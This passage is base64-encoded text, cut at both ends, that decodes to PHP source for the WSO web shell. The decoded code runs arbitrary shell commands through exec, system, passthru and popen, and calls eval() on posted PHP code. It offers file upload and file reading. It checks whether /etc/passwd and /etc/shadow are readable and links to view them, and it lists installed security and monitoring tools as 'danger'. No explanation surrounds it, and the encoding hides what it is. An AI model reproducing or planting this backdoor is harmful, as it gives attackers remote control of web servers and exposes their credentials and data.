KCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSdd | |
Pyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9Z3JlZW4+PGI+T0ZGPC9i | |
PjwvZm9udD4nKQ0KICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGws | |
XCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcg | |
LiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2Up | |
IC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAo | |
Jy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9s | |
aW5rcyAuICcgJy4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMg | |
b25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcs | |
XCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+JyAuICRkcml2ZXMgLiAnPC90ZD4nDQog | |
ICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0i | |
ZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0i | |
UGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxi | |
cj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJd | |
IC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9B | |
RERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicNCiAgICAgICAuICc8dGFibGUgc3R5 | |
bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7IiBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5n | |
PTAgd2lkdGg9MTAwJT48dHI+JyAuICRtZW51IC4gJzwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJt | |
YXJnaW46NSI+JzsNCn0NCg0KZnVuY3Rpb24gd3NvRm9vdGVyKCkgew0KCSRpc193cml0YWJsZSA9 | |
IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nZ3JlZW4nPihXcml0 | |
ZWFibGUpPC9mb250PiI6IiA8Zm9udCBjb2xvcj1yZWQ+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjsN | |
CiAgICBlY2hvICINCjwvZGl2Pg0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBh | |
ZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBz | |
b2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7Jz4NCgk8dHI+DQoJCTx0ZD48 | |
Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48 | |
c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10 | |
ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAu | |
Iic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9y | |
bSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFs | |
c2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcg | |
dHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90 | |
ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGws | |
J21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3Nw | |
YW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1l | |
PWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9y | |
bSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTty | |
ZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlu | |
cHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQg | |
dmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0 | |
PVwiZygnQ29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5F | |
eGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9 | |
YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJ | |
PHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJ | |
CTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4NCgkJPGlucHV0IHR5 | |
cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTxpbnB1 | |
dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9 | |
aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/ | |
JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj4k | |
aXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9Zj48 | |
aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyICA+PC90ZD4NCgk8L3RyPjwv | |
dGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygi | |
cG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucydd | |
LCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgew0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3 | |
dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dl | |
dGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4 | |
X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkg | |
e3JldHVybiBmYWxzZTt9IH0NCg0KZnVuY3Rpb24gd3NvRXgoJGluKSB7DQoJJG91dCA9ICcnOw0K | |
CWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQlAZXhlYygkaW4sJG91dCk7DQoJCSRv | |
dXQgPSBAam9pbigiXG4iLCRvdXQpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0 | |
aHJ1JykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHBhc3N0aHJ1KCRpbik7DQoJCSRvdXQgPSBvYl9n | |
ZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQlv | |
Yl9zdGFydCgpOw0KCQlAc3lzdGVtKCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9 | |
IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJJG91dCA9IHNoZWxs | |
X2V4ZWMoJGluKTsNCgl9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikp | |
KSB7DQoJCSRvdXQgPSAiIjsNCgkJd2hpbGUoIUBmZW9mKCRmKSkNCgkJCSRvdXQgLj0gZnJlYWQo | |
JGYsMTAyNCk7DQoJCXBjbG9zZSgkZik7DQoJfQ0KCXJldHVybiAkb3V0Ow0KfQ0KDQpmdW5jdGlv | |
biB3c29WaWV3U2l6ZSgkcykgew0KCWlmKCRzID49IDEwNzM3NDE4MjQpDQoJCXJldHVybiBzcHJp | |
bnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsNCgllbHNlaWYoJHMgPj0gMTA0 | |
ODU3NikNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsN | |
CgllbHNlaWYoJHMgPj0gMTAyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0 | |
ICkgLiAnIEtCJzsNCgllbHNlDQoJCXJldHVybiAkcyAuICcgQic7DQp9DQoNCmZ1bmN0aW9uIHdz | |
b1Blcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVs | |
c2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAw | |
eDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2 | |
MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7 | |
DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgk | |
cCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0g | |
KCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cn | |
IDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDog | |
J3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAw | |
MjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJ | |
JGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgk | |
cCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6 | |
ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAg | |
JiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDAp | |
ID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KDQpmdW5jdGlvbiB3c29QZXJtc0NvbG9y | |
KCRmKSB7DQoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSNG | |
RjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlaWYg | |
KCFAaXNfd3JpdGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPicgLiB3c29Q | |
ZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZQ0KCQlyZXR1cm4gJzxmb250 | |
IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsN | |
Cn0NCg0KZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3Rz | |
KCJzY2FuZGlyIikpIHsNCiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGRpcik7DQogICAgfSBlbHNl | |
IHsNCiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7DQogICAgICAgIHdoaWxlIChmYWxzZSAh | |
PT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgICAgICAgICAkZmlsZXNbXSA9ICRm | |
aWxlbmFtZTsNCiAgICAgICAgcmV0dXJuICRmaWxlczsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHdz | |
b1doaWNoKCRwKSB7DQoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHko | |
JHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBh | |
Y3Rpb25TZWNJbmZvKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJp | |
dHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWZ1bmN0aW9uIHdzb1Nl | |
Y1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAn | |
PHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBm | |
YWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xh | |
c3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KDQoJd3NvU2VjUGFyYW0oJ1NlcnZl | |
ciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBpZihmdW5jdGlv | |
bl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQ0KICAgICAgICB3c29TZWNQYXJhbSgnTG9h | |
ZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkp | |
Ow0KCXdzb1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2Fi | |
bGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsNCgl3 | |
c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQoJ | |
d3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhl | |
Y19kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0 | |
KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcs | |
IGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOw0KCSR0ZW1w | |
PWFycmF5KCk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkN | |
CgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQoJaWYo | |
ZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiTVNTUUwiOw0K | |
CWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIlBvc3RncmVT | |
UUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJP | |
cmFjbGUiOw0KCXdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAn | |
LCAkdGVtcCkpOw0KCWVjaG8gJzxicj4nOw0KDQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcp | |
IHsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19y | |
ZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxl | |
c1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAg | |
ICAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxl | |
KCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNc | |
IiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7DQogICAgICAgICAg | |
ICB3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVy | |
c2lvbicpKTsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0 | |
X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1sn | |
c2FmZV9tb2RlJ10pIHsNCiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCds | |
Y2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywn | |
Z3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAg | |
ICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2Nhbics | |
J3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMn | |
LCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2Vj | |
JywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21h | |
c2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAg | |
ICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywn | |
Y3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsN | |
CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2gg | |
KCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRl | |
bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQogICAgICAgICAg | |
ICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAg | |
ICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5n | |
ZXIgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAg | |
ICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3 | |
c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAg | |
ICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMg | |
YXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAg | |
ICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3c29T | |
ZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAg | |
ICAgICBlY2hvICc8YnIvPic7DQogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFj | |
ZScsIHdzb0V4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMn | |
LCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7DQogICAgICAgICAgICAgICAgZWNo | |
byAnPGJyLz48c3Bhbj5wb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48 | |
dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUs | |
dGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48 | |
aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88 | |
L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3Ry | |
PjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAg | |
ICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRfUE9TVFsncDMnXSkgJiYgaXNfbnVt | |
ZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMyddKSkgew0KICAgICAg | |
ICAgICAgICAgICAgICAkdGVtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBmb3IoOyRfUE9T | |
VFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCiAgICAgICAgICAgICAg | |
ICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAg | |
ICAgICAgICAgICAgICAgIGlmICgkdWlkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0 | |
ZW1wIC49IGpvaW4oJzonLCR1aWQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAg | |
ICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICB3c29TZWNQ | |
YXJhbSgnVXNlcnMnLCAkdGVtcCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0K | |
CX0gZWxzZSB7DQoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOw0KCQl3 | |
c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTsNCgkJ | |
d3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLHdzb0V4KCduZXQgdXNlcicpKTsNCgl9DQoJZWNo | |
byAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0K | |
CWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRf | |
U0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQll | |
dmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQ | |
aHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBP | |
dXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dl | |
dF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1w | |
KSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCdd | |
KSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NF | |
UlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsNCg0KCXdzb0hlYWRlcigpOw0KCWlmKGlz | |
c2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7DQoJCWVjaG8g | |
JzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAw | |
MDt9PC9zdHlsZT4nOw0KCQlvYl9zdGFydCgpOw0KCQlwaHBpbmZvKCk7DQoJCSR0bXAgPSBvYl9n | |
ZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZShhcnJheSAoDQogICAgICAg | |
ICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLA0KICAg | |
ICAgICAgICAgJyF0ZCwgdGggeyguKil9IW1zaVUnLA0KICAgICAgICAgICAgJyE8aW1nW14+XSs+ | |
IW1zaVUnLA0KICAgICAgICApLCBhcnJheSAoDQogICAgICAgICAgICAnJywNCiAgICAgICAgICAg | |
ICcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywNCiAgICAgICAgICAgICcnDQogICAgICAgICksICR0 | |
bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4n | |
Ow0KCX0NCiAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNv | |
bnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNo | |
ZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51 | |
bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1j | |
b2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1s | |
